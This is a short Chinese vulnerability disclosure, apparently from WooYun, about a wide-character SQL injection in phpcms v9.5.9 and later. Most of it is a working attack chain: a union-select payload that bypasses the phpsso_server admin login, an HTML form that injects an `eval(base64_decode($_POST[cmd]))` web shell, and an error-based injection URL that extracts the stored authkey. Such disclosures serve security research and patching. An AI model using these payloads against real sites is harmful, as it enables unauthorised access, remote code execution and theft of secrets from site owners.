这个漏洞来自乌云,经过本地环境测试后,发现漏洞确实存在。
PHP双字节编码,这个本不应该出现的问题,或许因为过去太久远快被遗忘了,phpcms从20140929的v9.5.9版本起,增加了mysqli的支持,因为编写疏忽,导致该问题又重现江湖。漏洞本身无需细说。phpcms默认使用mysqli数据库,显示mysql语句错误(debug为true,呵呵完全可以爆错注入),而且安装过程不能修改。
漏洞影响:利用20140929的v9.5.9以后版本新建站点,以前版本升级的不受影响,故自评Rank为15
漏洞危害:利用漏洞直接登陆phpsso_server后台获取shell、注入等。
1、登陆登陆phpsso_server后台
用户名:誠' union select 1,0x706870636D73,0x3831346539303966363566316439313263646237636333393833623934333239,4,1,6,7 -- k
密码:1
2、利用phpsso_server/phpcms/modules/admin/messagequeue.php页面的string2array函数获取shell。测试代码另存为html文件,登陆phpsso_server后,提交即可。测试时,请修改form的action属性。
3、注入。访问链接:**.**.**.**/phpcmsv9/index.php?m=pay&c=respond&a=respond_get&code=kkk%89' and extractvalue(1, concat(0x7e, (select substr(authkey,1,30) FROM v9_sso_applications where appid=1),0x7e))–%20m
exp测试代码如下:
02 | noticeid:<input type= "text" name= "noticeid" id= "noticeid" value= "誠' union select 1,2,3,4,0x617272617928293B6576616C286261736536345F6465636F646528245F504F53545B636D645D29293B657869743B,6,7-- k" size=100/><br> |
03 | cmd:<input type= "text" name= "cmd" id= "cmd" value= "cGhwaW5mbygpOw==" />phpinfo();<br> |
04 | <input type= "hidden" name= "appid" id= "appid" value= "1" /> |
05 | <input type= "submit" value= "提交" /> |
10 | 用户名:誠' union select 1,0x706870636D73,0x3831346539303966363566316439313263646237636333393833623934333239,4,1,6,7 -- k<br> |
13 | 0x617272617928293B6576616C286261736536345F6465636F646528245F504F53545B636D645D29293B657869743B<br> |
14 | array (); eval ( base64_decode ( $_POST [cmd])); exit ;<br> |